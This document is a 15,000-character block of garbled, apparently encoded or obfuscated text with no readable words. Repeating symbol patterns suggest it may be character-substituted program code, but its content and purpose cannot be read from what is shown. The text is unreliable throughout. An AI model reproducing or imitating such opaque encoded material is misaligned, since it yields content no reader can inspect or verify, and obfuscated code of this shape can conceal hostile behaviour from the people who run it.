OPPVNO8T OV^VTNOC_PU WNGGGIGGGQ^	UOP^^NGGGIGGGQ^	UOV^^RNOC_PU WKGQ^	UOVPQVNNN\mm		\mGmGGGGG'8T OPPVNOC_PU WN\mG'Q^	UOPPVNO _	S^OV^VTNOC_PU WNGGGIGGQ^	UOP^^NGIGGQ^	UOV^^RNOC_PU WKGGGGT
OVPQVNNN\mGGGGOQ^	UOV^_WNOQ^	UOV^^SNNNG'8	OC_PU WKGGN\mmmmGGGGGG QWUWSON\mGGGGC	WW	^GGGGZGG078$()3")38#.5GGGIGGGG8T OVURQN\mGmmmGGGO' _	S^OV^_UNOC	WW	^NGGGGGAAG8T OV^_WNO _	S^OV^^QNNNGGGmmmmGGGGGOONGG'Q^	UOV^^PNOC	WW	^GIGGGGGQ^	UOV^^_NNGGGGGGGC

SPNGGGmGGGGOF'8T OV^^^NOC

SPNGGGF'T
OV^TQNOC

SPNNG		\mGCS8U GGGGZGGG'8T OUWWWNOC

SPN\mGGGGGOFCS8U GGGGGCS8U GYGGOWPVULWV_UQNNGGGG		\mGGCT	TGGZG'Q^	UOV^T_NOC

SPN\mGGGGGOF8T OV^QQNOCT	TNNGGGG		\mGGGGGGO _	S^OUWWVNOCT	TKGQ^	UOUWWUNNGZZZGGGGAAG _	S^OUWWTNOCT	TKGGGGQ^	UOUWWSNNGGZZZGGGGGGGGAAG _	S^OUWWTNOCT	TKG _	S^OUWWRNNGGGGGZZZGGGGNG		\mGOFWPTR^TPOCT	TNNGG		\mmmC 8	STVWGZG8QR_OCT	TN\mGGGGOQ^	UOV^QQNOC 8	STVWNGGAAGGGGC 8	STVWGGGFZZGCT	TNGGGmGGTST		RVOC

SPKGC 8	STVWN\mmmmGO8T OV^_WNO8T OV^^SNNNGGGGG'8	OC

SPKGGN\mGGGmGmGGGGGGmGGGG8			Q	
U^UO078$()3")38#.5GGGIGQ^	UOVT^SNN\mG8			Q	
U^UO078$()3")38#.5GGIGGGGQ^	UORPRNN\mmGGGGGGGO8T OV^_WNO8T OV_RQNNGGGAAGGGGGGQ^	UOV^_WNOQ^	UOUWWQNNGGGGAAGGT
OV^_WNOQ^	UOUWWPNNNGCS	 WQ	ZVT_U\CUSRUZCS	 WQ	BVT\mGC8	GZGG^O&%47&3/GGIGQ^	UOUWW_NKGOR[[VNN\mGCVTPGGGZGG' 8	OC8	KGGGEEN\mGGGGGGOQ^	UOV^QQNOCVTPNGAAGGGCVTPGGGGGGFZZGGGGEENGGGmmGC	UUR
GGZGGGT
OSWUNOCVTPKGN\mGO _	S^OV^QQNOC	UUR
NGGGGAAGGG PQUPVSVOC	UUR
NNGG'8	OC8	N\mGGmGGC8_W^GZGGGG _	S^OV^_WNO8T OUWW^NNGGGXGGGGU ^STT	88OT
OVWUVNKGEENG]GEE\mGGGO8T OV^QQNOC8_W^NGAAGGC8_W^GGFZZGEEGGAAGO _	S^OV^WUNOC8_W^NGYGGGOVWS_RRULUSNGGGGGO _	S^OV^_WNO _	S^OUWVWNNGAAGGV UV
RR^QVOC8_W^NNGGGGGG^
VOC8_W^NNNGGGGGmmmGOT
OUWVVNO8T OUWVUNNNGGGGG8UQ	
UUOQ^	UOVWUVNKGGEEKG8T OUWVTNN\mmmmGGGGGG		GG RSONmGC8
8 Z7/78*&-(581"54.()\C8^P8SZC8
8 MS\mmGGGmGGGGGGOF	O _	S^OV^VPNNNGGGG	\mGGGGGGGOF
OC +(%&+4<Q^	UOUWVSN:NNGmmmGGGC +(%&+4<Q^	UOUWVSN:GGGGGGZGGGGGW\mSS_UU8OT
OUWVRNKGG8T OUWVQNN\mGmHHG07G%G3	
]G		G	 JmmmmGGGGGGGOF
OC +(%&+4< _	S^OP^PN:NNG	\mGC +(%&+4< _	S^OP^PN:GGGZGG\mGGGGGGGOFOC8 "3<8T OV_UUN:NGGAAG _	S^OUWVPNOT
OV_RQNNGGGGGAAGG8T OUWVPNOT
ORUUNNNGGGmmGGGGGGC8 ^TTSGGZGGG' 8	O _	S^OV_STNKGGONN\mGGGGGGCW8R_VP	GZG\mGGGGO _	S^OV_UVNOC8 ^TTSNNGGGGGCR
R_QVZ_LRW\C^_
^ZCR
R_QVJT_\mGGGGOF
OC8 ^TTS<@@:NGAAGGQ^	UOV__UNONGGGJGGO	NGGGC8 ^TTS<8T OUWV_N:GG[GGOUVTSJTTSNNGCW8R_VP	GGZG\mGGGGmmGGGGGOFCW8R_VP	GAAGGF
OC8 ^TTS<Q^	UOV__SN:NGGGAAG8T OUWV^NOC8 ^TTS<T
OV__SN:NNGGGmGGGOC8 ^TTS<T
OV__SN:GGGGGGGC8NGGmmGGGGO _	S^OUWV^NOC8NGGAAG _	S^OV__UNONGGGJGO	NGGC8< _	S^OUWV_N:GGG[GGGGGOVPQVLT^NNGmGCW8R_VP	GZGGG\mG\mGmmGGGmGmGGGGGGGGOCW8R_VP	NG _	S^OUWUWNO _	S^OV_SSNN\mmGGGGO
VT_QUV
 ROVQ^^WWT
WONNNG	\mG
TRTQPQSQON\mGGGG^ T
	UTSOVQ^^WWT
WONKG _ Q	QTPONN\mGGGGOF P_^R		SW ONNGGGGGmmmmGGGG_R8_8 8
ON\mGR	P W8WON\mGGG	\mHHGJGmmmmGGGCS VQWGGGGGGZGUP_W
_^ON\mGGGC__
SU_GGGZGGOmmGGGVQ^^WWT
WONKmGGGCS VQWGGGGGIGGGQ^	UORPRNKmN\mGC
R^RGGZGGGT
UPTRON\mGGGGOC
R^RGGGGGGGCW_	_NGmmGGGGGO' _	S^OV^^^NOCW_	_NNGGGC__
SU_<:GGGGZGGGGGCW_	_\mmGmGGCPPPGZGON\mGGGGGGGGOVWV
R^^ ^VONNGGGGGmGGGGC8RGGZGG^O&%47&3/GGIGGG _	S^OVW^UNKGGGGGOTLRNNGGIG8T OVPQVN\C
SRW  ZOW_LWRN\C8
U^8ZC
SRW  BVS\mCPPP< _	S^OUWUVNGGIGGG&%47&3/GGGIGQ^	UOVS^TN:GGZGGGGC8R\mGGCPPP<8T OUWUVNGIGGGCS VQWGGGIG _	S^OUWUUN:GGGZGC8R\mGGGGGmGGC8^V8_TGGGZG _	S^OUWUTNO8T OVS_TNNGXG' _	S^OVS_TNO _	S^OUWUSNNGGGGG]GG\mmGGGGGGGGO8T OUWURNOC8^V8_TNGGAAGGGC8^V8_TGGFZZGGGGEENGGGGmGGCSRGZGO	NG 8	OT
OVSS^NKGGWN\mGOFCSRGGGG _	S^OV__UNONGGJGGGGCSRGGGGYZGGGOVVVTWWJUS^WWNNGGmmmCR_WR
^GGGGZGG^O&%47&3/GGIGGQ^	UOUWUQNKGGOVSJQNNGGIGGT
OVPQVN\mCPPP< _	S^OUWUVNGIGGG _	S^OUWUPNO&%47&3/KG _	S^OVSVPNNGIG@H@GGIGGGGGC8^V8_T:GZGGCR_WR
^\mCPPP<T
OUWUVNGGIGGCS VQWGGIGGG@H@GIGGGC8^V8_T:GGZGGGGGCR_WR
^\mGGGGGGGmGmmC8TQUGGGZGGG 
STUT8SON\mGGGGGO'T
OV^^^NOC8TQU<V:NNGCPPP< _	S^OUWU_NGGIGGGC8TQU<W::GGZGGG8T OUWU^NGGGGIGC8TQU<U:\mGGGGGGGGC8Q^GGGZGGGG' 8	OT
OUWTWNKGGGONN\mGGGGGGGGOF _	S^OUWV^NOC8Q^NNGC8Q^GGGZGGGGON\mGGCWGZG\mGGGGGGOC__
SU_GGGC	W_W_NGCT
SZVVLRQ\C
_W^ZCT
SJSS\mGGCPRUUGGGZGG'8T OUWTVNOC	W_W_N\mGGGGGCP8UV8V GZGGGGGGCPRUUGGXGGGGGOCPRUU<Q^	UOUWTUN:GGGGIGG@@GIGGCPRUU<T
OUWTTN:NGG]GGGGG@W@\mGGCUGGGGZGOC8Q^<C	W_W_:NGGXGC8Q^<C	W_W_:G]GGEE\mGGGGOCP8UV8V GGZZZGGGCUNG		\mGO8T OUWTSNO _	S^OUWTRNKGGGCUKGGGC W_
NGGGAAGGG8T OUWTQNOCUKGGWKGJT
OV^WUNOC W_
<W:NNGZZZGGGGGCP8UV8V GGGAAGGGGQ^	UOV__UNONGGGJGO	NGC W_
<V:GGGGG[GGOTRS^LRVNNGGGG		\mmmmGGGGGCWGZGGGG\mG\mmmGGGmmGGOFCWNGGGmmmmGGOCPPPGGGGGGCGGZYGGGGCU	NGGmmmGGGCP8UV8V GZGGGWPUP	OT
OUWTPNOCKGGGGOVT^9VSUNNKGGCU	N\mGCUGGGGGZGGGOC8Q^<C:NGGGXGC8Q^<C:GG]GGEE\mGGGGGOCP8UV8V GGZZZGGGCUNGGGG		\mGGGGGGOQ^	UOUWTSNO _	S^OUWTRNKGCUKGC W_
NGGGAAGGGQ^	UOUWT_NOCUKGGGWKGGJ _	S^OV^WUNOC W_
<W:NNGGGGZZZGCP8UV8V GAAGG _	S^OV__UNONGGJGGGO	NGGGC W_
<V:GGGGGG[GO_QTSVLR^NNGG		\mGGCWGGZG\mGGGGG\mmmmGGGGGmGGGGmGC	Q8GGGZGGGGQ^	UOV^^RNOVQ^^WWT
WONKGG _	S^OVPQVNN\mmCVVQ	GGZGCS VQWGGIGGGGT
ORRNGIGGC	Q8GIGGGGG@H@GIGC	Q8GGGGGIGG _	S^OVPQVN\mGGGGGGGC8RWWQ^GGGGGGZGGGGTUVQQWU^8UON\mGGGGGOF' _	S^OUWT^NOCVVQ	NGGGGGGGO	NGG'8T OUWSWNOCVVQ	NGGGGGG[GGOR_^TJ_^TNNGGCWGGZG\mGGGGOC8RWWQ^GGFZZGGEEGGAAGGGF'Q^	UOUWSVNOC8RWWQ^NNGGGCWGGZGGGG\mGGGGGGGGGOFCWGAAGQ^	UOUWSUNOQ^	UOV_RQNNNGGGmHHG'G		mmGGCPUTWRGGZGC	Q8GIG@H@GGIGC	Q8GGGIGGGGGGQ^	UOUWSTN\mmmmGGGGGGCP_ 	QP
GGZGGG 8	OT
OPP_NKGONN\mGGGGGGGGGGOF _	S^OUWV^NOCP_ 	QP
NGGF _	S^OP^QNOCPUTWRKGGCP_ 	QP
KGGGNNGGCWGGGZGGGG\mmmmGGGGGmGGGGGGGGOFCWNGGGG	\mGGGmmGGGGOF
^PURR^_Q
^	SVO _	S^O_WVNNNGG	\mGGGGGGGmGGGGGGGW WP	ON\mmmG QUP UP

 WON\CWQ
P	Z7/78*&-(581"54.()\CPV_8ZCWQ
P	MT\mmGR	P W8WON\mGGGGGGGWUTV VON\mG	U	8^R^ON\mGGGGGGG_R8_8 8
ON\mmGGGGGG 

_ON\mG^WU
	SON\CPWQ	
ZPQMT\C
8V^SSZCPWQ	
JS^\mGGGCVPPTGGZGGGGGVTRON\mGGGC_GZGGT^S8R^URUON\mGGGGGC
8^8QVS^GGZGGGON\mmGGGGGGGGGOC__
SU_GGGGGGC	W_W_NGGGmCT^QUGGGZGGGOC	W_W_GGZZZGGGGCS VQWGGGIGGGQ^	UOUWSSNGGGGAAGGGFCVPPTNGGGOT
OUWT_NOC	W_W_KGJOQL_NNGGGGGGZZZGQ^	UOUWSRNGGGGGGAAGFC_N\mGGGGCPRUUGGZG' _	S^OUWTVNOC	W_W_N\mmmmGGGGGOCPRUUNGGmHMG	 J	G	GMHmmGGGGGC
8^8QVS^<C	W_W_:GGZGGGGGCPRUU<T
OUWTUN:GGGGIGG@@GGIGCPRUU< _	S^OUWTTN:GIGOCT^QUGXGGT
OUWSQNGGGIGGGGGGT
OV__UNONGG]GGEEN\mmmGGOCPPPGGGGGGCGGGGGZYGGCU	NGmGCSQ
WGZGGWPUP	O8T OUWSPNOCKGGOWSLWVNNKGCU	N\mGGGGOCSQ
WGGGZZZGGG@W@GGGGGGGGG _	S^OUWSPNOCSQ
WKGGGGGJUNGZZZGGGGQ^	UOUWS_NNGGCSQ
WGGIZGG _	S^OUWS^NGGGIG _	S^OV__UNON\mC
8^8QVS^<C:GGZGGGCSQ
W\mGmGGG'8	OQ^	UOUWTWNKGC
8^8QVS^KGGGGG8T OUWVTNN\mmGGGGGGGGG	GmGGG RT^
U^OT
O_WVNN\mmmmGGGGGGmGGGGGO3GGGGC	VRV8UNGGmGSS_UU8OQ^	UOUWRWNKGGC	VRV8UN\mGGGGGGGGGO"	GC	VRV8UNGGGGGGmGGmmmmGmmmG		GGGGWPUP	OC	W_W_KGGGGCU	NmGmmCPRUUGGGZGG' _	S^OUWTVNOC	W_W_N\mGGGGGGOFCPRUUNGG	GGGG@W@\mCP8UV8V GZGGCPRUU<T
OUWTUN:GGGGIGG@@GGGGGIGGCPRUU<Q^	UOUWTTN:\mmGGGGGGOCPRUU< _	S^OUWTUN:GGYGOVWS_RRULUSNNGGG	GGGGGGQ^	UOUWRVNGGGGGGIGCP8UV8V \mmGC
U WWGGZGG'Q^	UOUWRUNOC	W_W_N\mmGG	GGCP8UV8V GGGGIGGGG@@GGGGGGIGGOO8T OUWURNOC
U WWNGGAAGGQ^	UOUWWTNOC
U WWKGCU	NGFZZGGNGGGXGGG@V@GG]GGG@W@N\mmmmGGGG		GG_P

8TW^ONmGmGGGGGGC8GGZGGQ^	UOUWSUNO8T OV_RQNNGXGG 8	O _	S^OUVSNKGGGGGEENGGG]GEE\mGGGGGGG	8QPS 8T TON\mGGC8	SRGGZGGG8T OUWSUNOQ^	UOV_RQNNGXGGG 8	O8T OUVSNKGGGEENG]GGGGEE\mmGGGOC8	SRGGZZZGGGGGGC8NGG'8	O8T OUVSNN\mmmmmG		GGG	8QPS 8T TONmGGGC
Q^ZVVWP\CV	ZC
Q^9VQ\mmmmGGGmGGGGGGGGGGGGGOF	O8T OV^VPNNNGGGGG	\mGGCS VQWGGGGZGUP_W
_^ON\CR	UTRZ7/78.)38*&?H7/78.)38*&?\C RSUV RZCR	UTRLVU\mGGGCQV	GZGGG
U	_T _ON\mGC_S _^QSGGGGZGGGGG^O&%47&3/GIG _	S^OVQVRNKGGGGGOTLRNNGGIGGG _	S^OVTU_N\mGGGGC8_SGGGGZGG^O&%47&3/GGGGIGGG _	S^OUWRTNKGGOVTJRNNGGIGGQ^	UOUWRSN\mCPP GGGGZGG^O&%47&3/GGGGGGIGG8T OUWUQNKGGGOVLPNNGIGGGGG _	S^OUWRSN\mGGGCWTP__
GGGGGZGGG^O&%47&3/GIGGGT
OVTP^NKGGGGOWSLWSNNGIGGT
OUWRRN\mGGGGGC R
GZGG^O&%47&3/GIGGGGQ^	UOVSWVNKGGOWSLWSNNGIGT
OUWRRN\mGGGC	STS_WGGGZGGGQ^	UOVQSQNGGIGGGGG^O&%47&3/GGIGGGG@ @KGGOV[[TNN\mGGGCUT8VV	 GGGGZGGOmCS VQWGGIGG _	S^OUWRQNGGZYGG8T O^USNKmCS VQWGGIG _	S^OUWSSNGGGGGZYGGGGT
OUWRPNKmGN\mGGGGOCUT8VV	 GGGGC	W_W_GGZYGGCNGGmGGGGOF'T
OUWSVNOC	W_W_NNGGG		\mC
U WWGGGGZGG'Q^	UOUWR_NOC	W_W_N\mmmmGGGGGOC
U WWGGGZZZGGNGG		\mmmGCSSUGZGGQ^	UO^U^NGGGIGGGGGCGGGGGIGGG _	S^O^TWNGIGGGGCGGGIGGG8T O^TVN\mGGGGC
8PVW8	GGGZGGGT
OUWR^NOCSSUKGGEEKGC
U WWN\mGGGGGGGOC
8PVW8	GGFZZGC
U WWNGTST		RVOC	W_W_KGC
8PVW8	N\mmmmGGGGGGmGCSVRQGGZGGGGCS VQWGIGGG _	S^ORP_N\mGGGGGO'8T OUWSVNOCSVRQNNGGmGGC	  P^GGGZGG'8T OUWQWNOCSVRQN\mGGGGGOQ^	UOUWURNOC	  P^NGGGAAGGC	  P^GGGGGFZZGGEENGGGGGmmmGGGGGGGOQ^	UOUWTSNOQ^	UOUWQVNKGGGT
OUWQUNOC	  P^KGWKGGOURTLSPNNNGGGGGGGGT
OUWQTNOC	  P^KGGGGQ^	UOVRRWNNGZZZGWNGGGmGGT8OCSVRQKGGGGOSVUL_NN\mGWT	OCSVRQN\mGGGmHHGG	
mmC_	R_GZGT
OUWR^NOQ^	UOUWQSNKGGEEKGGC	  P^N\mGGGGGGGGOQ^	UOUWURNOC_	R_NGGGAAGGGGC_	R_GGFZZGGC	  P^NGGGTST		RVOCSVRQKGGGGC_	R_N\mG	OC_	R_N\mGGGGmGGGGm	OC	  P^N\CSUVRZVV_SU\C SU^8ZCSUVR9VWS\mmGC W^VQGZGGGG8T OV^VTNOVQ^^WWT
WONNGGGGGIGGGGGQ^	UOVSUN\C8R8
ZOWURLWPVN\C R_ZC8R8
BVU\mGGGGCSV_GGGGGGZGGG	O8T OV^P_NNGGGGXG078$()3")38#.5GGIGG8T OUWQRNGGG]GGC W^VQ\mGGGGC8W
QWGZGGGOmGGGGCS VQWGGGGGGIG@H@GGIGGGGC_S _^QSKmGGGGGCS VQWGGIGG@H@GGIGC8_SKmCS VQWGGGIGGG@H@GGIGCPP KmCQV	GGGGIGGG@H@GIGGCWTP__
KmGCQV	GIGGG@H@GIGGGC R
KmmGCQV	GGIGGGGGG@H@GGGIGC8_SKmGGGGGGCQV	GIG@H@GGIGGGGGCPP KmmmGC W^VQGIGGGGG@H@GGIGGCWTP__
KmGGGGGC W^VQGIGGGG@H@GGGIGGGC R
KmGGGGC W^VQGGGIG@H@GGIGGGC8_SKmGGGGGGGC W^VQGGGGIGGG@H@GGGIGGGGCPP KmGGGGGCSV_GIGGG@H@GGGGIGGGGCWTP__
KmmmGGCSV_GGIGG@H@GGIGGGGGC R
KmGGGGGGCSV_GGGIG@H@GIGGC8_SKmGCSV_GIG@H@GGIGCPP KmGGN\mGGGGGGC8SWUUGGZGG 
STUT8SON\mGGC8W
QW<:GGZGGC8SWUU<V:\mGC8W
QW<:GGGGGGZGGC8SWUU<V:GGIG _	S^OVPPUN\mG	OC8SWUUN\mGGGGGO8T OUWSUNOQ^	UOV^^PNNNGmGGGGGOONGGG' _	S^OV^^PNOCS VQWGGGIG _	S^OUWQQNGGGGIGGGC_S _^QSNGGGGGGGGGGCQRRQ_^^S8
^WNGGGC8W
QW<:GGZGCQRRQ_^^S8
^W\mGGGOONGG' _	S^OUWQPNOCS VQWGIGGGGT
OUWQ_NGGIGGGC_S _^QSNGGCQRRQ_^^S8
^WNGGGGC8W
QW<:GGGZGGGCQRRQ_^^S8
^W\mGGOONG'8T OUWQPNO&%47&3/GIGGGGGQ^	UOUWQ^NGIGGC	STS_WGIGG _	S^OTVUNNGGGGGGGGC_P_Q_STNGC8W
QW<:GZGGGC_P_Q_ST\mGGGOONGGG'Q^	UOUWQPNOCS VQWGGGGIGGGGG@H@GGGGGIGC	STS_WGGGIG _	S^OTVUNNGGGGGC_P_Q_STNGGGC8W
QW<:GZGGGC_P_Q_ST\C8UQRWZ7/78*&-(581"54.()\CWQQTZC8UQRWMVW\mGGGOONG'T
OUWQPNOCQV	GIG@H@GIGGC	STS_WGGIGGGG _	S^OTVUNNGGGGGGC_P_Q_STNGGC8W
QW<:GGGGZGGC_P_Q_ST\mGGGGGOONGG' _	S^OUWQPNOC W^VQGGGGIG@H@GGGIGGC	STS_WGIGGT
OTVUNNGGGGGC_P_Q_STNGGGC8W
QW<:GGGGZGGGGC_P_Q_ST\mGOONGG'Q^	UOUWPWNOCSV_GGGGIGGGG@H@GIGGGGC	STS_WGIGGGGGG8T OUWPVNNGGGGC_P_Q_STNGGC8W
QW<:GGGZGGC_P_Q_ST\mGGmC^PTU	8^GZGGG^O&%47&3/GGIG@ @KGOVLPNN\mGGC8	8
V_TGZGGGGGO&%47&3/GGGGIGGGGQ^	UOUWPUNKGGGGCS VQWKGGGGCQV	KGGC W^VQKGGGGGGCSV_N\mmmmGGGGGGGOC8	8
V_TGGGGGC8 NGGGGGmHHG07GQITG

	]GJ	GJmmGGGGGO'8T OV^_UNOC8 NGAAGGG'Q^	UOV^TQNOC8 NNGGT^UWPU	P^OC8 GGIG8T OUWPTNGGGIGGGGC^PTU	8^KGG _ Q	QTPONKG8T OUWPSNN\mGGmGGGGGGGGGGGOQ^	UOUWPRNOT
OUWPQNNNGGmGOC8	8
V_TGGGGC8 NGGGGGmGGGGGOOT
OUWPPNKG8T OUWP_NKGT
OUWP^NKGGG8T OUW_WNKGGGGQ^	UOUW_VNKGGGG8T OUW_UNKGG _	S^OUW_TNKGGGT
OUW_SNKG8T OUW_RNNGGGGC ^S NGGGCV RZOWQWLW^N\CV_
ZCV RBR\mGOONG'Q^	UOUWPQNOC8 GGIG@H@GGIGGC ^S GGIGGG@M@NGGGCQQ
	NGGGGC8W
QW<:GGZGCQQ
	\mmmmmGGGGGGGOONGG'Q^	UOUWPQNOC8 GGGGIGGG8T OUW_QNNGGGGGGGC	U	NGC8W
QW<:GZGGC	U	\mGGmmGGm	OC^PTU	8^KGGGGC8	8
V_TKGC8 KGC ^S KGCQQ
	KGGGGC	U	N\mmGGGC_^_
WTT8GGGZGGGGGGO&%47&3/GGIGGT
OUW_PNKGGGGCS VQWGIGQ^	UOUWUUNN\mGGGGGGGGOC_^_
WTT8GGGGGC
SQQRNGmGGGGOF'T
OUWSVNOC
SQQRNNGGGG		\mGGC
U WWGGGGGZGGGGGG'Q^	UOUW__NOC
SQQRN\C_V	_ZRRMU\C
SUZC_V	_JUT\mGGGGGGOC
U WWGGAAGGQ^	UOUWQTNOC
U WWKGG8T OUW_^NNGFZZGGGNGGGGmGGGGGC
U WWGZGGQ^	UOUWR^NO _	S^OUW^WNGGIGGGGQ^	UOVSVWNOC8_SKGG@H@NGGIG _	S^OVVRQNKGGE;	EKGC
U WWN\mGGGGGGGGGGOQ^	UOUWURNOC
U WWNNGGGGGmC
U WWGGGGGZGT
OUWR^NO8T OVVRPNGGGGGIG8T OVSVWNOC8_SKGGGG@H@NGIGGQ^	UOUW^VNKGGGGE;	EKGC
U WWN\mmGGmGGGGGGO8T OUWURNOC
U WWNNGmGC
U WWGGZG8T OUWR^NOQ^	UOUW^UNGGIGGGG8T OVSVWNOC8_SKGGGGGG@H@NGGGGIGGT
OUW^TNKGGGE;	EKGGC
U WWN\C 8TUZRWQR\CP ZC 8TUBT\mmGGGOQ^	UOUW^SNOC
U WWNNGTST		RVOC
SQQRKGGGC
U WWN\mGGGGmGGGGGGmmmmGGC_
W ^ QGGZG&%47&3/GGIGGGG _	S^OUW^RN\mGGGGOF'Q^	UOUW^QNOC_
W ^ QNNGGGmGC
SS8WGGZGGGT
OUW^PNO&%47&3/NGIGG8T OUW^_N\mmGGGGGGGO'8T OUW^QNOC
SS8WNNGC_
W ^ QGGZGC
SS8W\mmmmGmGGGGO' _	S^OUW^QNOC_
W ^ QNGAAGG'8T OV^TQNOC_
W ^ QNNGGGGmGC8GZGGG'8T OUW__NOC_
W ^ QN\C_W	WZ^PWW\CSZC_W	WBVT\mGGGGOT
OUW^SNOC8NGAAGGG8T OUWQTNOC8KGQ^	UOUW^^NNGGFZZGGGGGNGmGGGC_8	^TW^VGGZGGT
OUVWWNOT
OUVWVNKGGEEKGGGGC8N\mGGO _	S^OUW^SNOC_8	^TW^VNGGGGGAAGGGGGC_8	^TW^VGGFZZGGGC8GGGAAGGGGGGR	^W8POC_8	^TW^VNNGGGGGGmmmmGGC__
GZG'8T OUVWUNOC_
W ^ QN\mGGGGGOTST		RVOC_
W ^ QKGGC_8	^TW^VNGAAGGGGGC__
NGG'T
OUVNOC_
W ^ QKGGC__
N\mmG	OC_8	^TW^VKGGC__
N\mGGm	OC8N\mGm	OC_
W ^ QKGGC
SS8WN\mGGC8^V8_TGGGZGGT
OUWPRNOQ^	UOVS_TNNGGXGGGGGG'T
OVS_TNO _	S^OUVWTNNG]GGG\mGGOFC8^V8_TGGC8^V8_TGGGGGGZZZGGGEENGGGGGC8^V8_TGZGGG _	S^OUVWSN\mmmmGCP V_W 
WGZGGO&%47&3/GGIGC8^V8_TKGGCS VQWGGGGGIG@H@GGGGIGGGGC8^V8_TN\mGGGGOCP V_W 
WGGCR_T^VNGGGGGmGGGGGOF'Q^	UOUW^QNOCR_T^VNNGGG		\mGGGGGC
U WWGZG'Q^	UOUVWRNOCR_T^VN\mmmGGGGGOC
U WWGGGGGAAG8T OUWQTNOC
U WWKGGGGT
OUW_^NNGGFZZGGGNGGGmGGGGGGC
U WWGGZGT
OUVWQNO _	S^OUVWPNGIGGGGGT
OUVW_NOCPP KGGGG@H@NGGIG8T OUVW^NKGGGEEKGC
U WWN\mmmmGGGGGGGOT
OUW^SNOC
U WWNNGTST		RVOCR_T^VKGGC
U WWN\mmmmmGGGGGCPS GGGZGGGGGOmmmmGGCS VQWGGIGGG@H@GGGGIGGCPP KmGGGGGCQV	GGGIGG@H@GGIGGGCPP KmmmGGGGGC W^VQGIGGGGG@H@GGIGGCPP KmGGGGN\mmmGGGGC^PPTQGGZGGGGGGT
OUVVWNOC8W
QWKGGGCPS N\mGGGGGGGGGGOCPS GGGGGGCU
V

PNGGGmGGGGGGO' _	S^OUVVVNOCU
V

PNNGmGGGGGT8OCU
V

PKGGGOQSPJUUPNN\mGGGTST		RVOCU
V

PKG8T OVQWUNN\mGGGGGmmGGOC^PPTQGGGGGCU
V

PNGmGO'Q^	UOUVVVNOCU
V

PNNGGmGT8OCU
V

PKGOTUSL^QNN\mWT	OCU
V

PN\mmmmmGGmGGGGGGGGOT
UPTRONGGGGGC
 8TNGGGmGOF'8T OUVVVNOC
 8TNGGGGGGGGF'8T OV^TQNOC
 8TNNG		\mGC
U WWGZG'Q^	UOUVWRNOC
 8TN\mGGGGGGOQ^	UOUW^SNOC
U WWNNGGmGGGGGGGC_	^T8GZGGGG	^SVTOC
U WWKG8T OUVVUNKGGGT
OUVVTNN\mC_	^T8GGZGGG	^SVTOC_	^T8KG _	S^OUVVSNKGGG8T OUVVTNN\mGGGOT
OUW^SNOC_	^T8NGAAGGGGGGC_	^T8GGGFZZGGGGC
U WWNGGGTST		RVOC
 8TKGGGC_	^T8N\mGGGGGGG	OC_	^T8N\mGGGGGmGmmmmGGGGGGO _	S^OUWPRNOT
OVR^SNNGGGGAAGGGGGQ^	UOUWPRNO _	S^OUVVRNNNGGGGGGmmmmGGGGCGGGZGGG88_ON\mGGOCGFZZGGGNGmmmGGGGC8T8_
P8RGGZGGGG'8T OVR^SNOCKGGGG@@KGGWKGGWN\mGGGGGGGOC8T8_
P8RNGGmG'Q^	UOUVVQNOC8T8_
P8RN\mGGGG'8T OVR_^NOC8T8_
P8RN\mGGGmGGGGGmGGGGGGmGGGGGGOT
OUWPRNOQ^	UOUWWQNNNGGmGGGGGCURGGZGGG^O&%47&3/GIGT
OUWW_NKGOQLSNN\mG'8	OCURN\mmmmC8 ^TTSGZGGGG8T OUVVPNOT
OUVV_NNGGGGGXG' 8	OQ^	UOUVV^NKGONNG]GGGGON\mGGGOT
OUVUWNOC8 ^TTSNNGGmGGGGGGGOOC8 ^TTS<@@:NNGWT	OC8 ^TTS<@@:N\mGGGOOC8 ^TTS<Q^	UOUVUVN:NGGGAAGGGG8T OUVUUNOC8 ^TTS<Q^	UOUVUVN:NNGGmGGGOC8 ^TTS<8T OUVUTN:GGGGGGC8NGGGmmmGGGGOT
OUVUUNOC8NGAAGGOC8<@@:NNGGGGWT	OC8<@@:N\mGmGmGGmGGGGGG'8	O8T OUVV^NN\mmGG'8	O8T OV__PNN\mGG'8	OT
OUVUSNN\m'8	O _	S^OVRWWNN\mGGGGGG'8	OT
OUVURNN\mGGGGG'8	O _	S^OVSQWNN\mGGGG'8	OT
OVSS^NN\mG'8	O _	S^OVSQVNN\mmGGG	OC8 ^TTSKGGGC8N\mGGGGGmHHG07G!	G+G	
G 	mmGOQ^	UOUVVPNOT
O_^WNNNGGGmGGGGGGGG'8		O _	S^OUVUQNN\m'8		O8T OUVUPNN\mGG'8		OV8 ^PRRPWONN\mmGGGGGOQ^	UOUVU_NO _	S^OUVU^NNNGGGGGmmm'888O _	S^OUVTWNN\CPTQZV^RURU\C_	 ZCPTQ9V^\mmmG'888O _	S^OUVTVNN\mG'888O	U
WPU_ONN\mmmmGGGGGmGGGGGGGGO3GGGC	VRV8UNGGGGGGmGGGSS_UU8OT
OUVTUNKGC	VRV8UN\mGGGGGO"	GC	VRV8UNGGmmGGm		GGVTRONmGGGmGGGGmmGOF	OT
OV^VPNNNGGG	GGGG\mmmmCS VQWGZGGGUP_W
_^ON\mGC
SSGZGGGCS VQWGIGGG _	S^OUWSSN\mGGCUWGGZGGGG8T OV^^RNOVQ^^WWT
WONKGGT
OUVTTNN\mGGCWSV 	GGGGZGGGG	
UVUON\mGGGOFCWSV 	GGGGG8T OV^WUNOCWSV 	NGGGG[GGGGGGOSPQLUSNGGGGGGG8T OUVTSNOCWSV 	NGGGGYGOWRVLWVVUNGGGGV UV
RR^QVOCWSV 	NGGGFR	^W8POCWSV 	NNGGG	GGG\mC	GZG'T
OVRWSNOC
SSNGGGXG'8T OUVWRNOC
SSNGGG]GGGGEE\mGGGGGGGGOFT
OUW^SNOC	NNGGmGSS_UU8O8T OPTVNKG8T OVSSUNN\mGGGGGGGG	G\mGGGmGGGGGGC	GGGGZG8_PRSPOC	N\mCVPR		GZGG _ Q	QTPONGGGGGIGGGG@]@GGGGIG^O&%47&3/GIGGGG8T OUVTRNKGOWVLWPNN\mmmGGGC
 8UW	^Q
GZGGG8T OUVTQNGGIGGGCVPR		GGGGGGIGQ^	UOVQUPN\mmmmC
VT_	^GGGZGGGG8T OUVTPNGGGIGGGGGCVPR		GGGIGQ^	UOVQUPN\mGGGGGCP^	^
GGGGGGZGG^O&%47&3/GGIGGT
OUVT_NKGORLTNN\mGGCQR	GGGGZGGGG _	S^OUVWQNOT
OUVT^NGIGCP^	^
GGIG8T OUVSWNKGGEEKGGGGGC	N\mGGGC	PWRGGGZGOT
OUVSVNOCQR	KGGGT
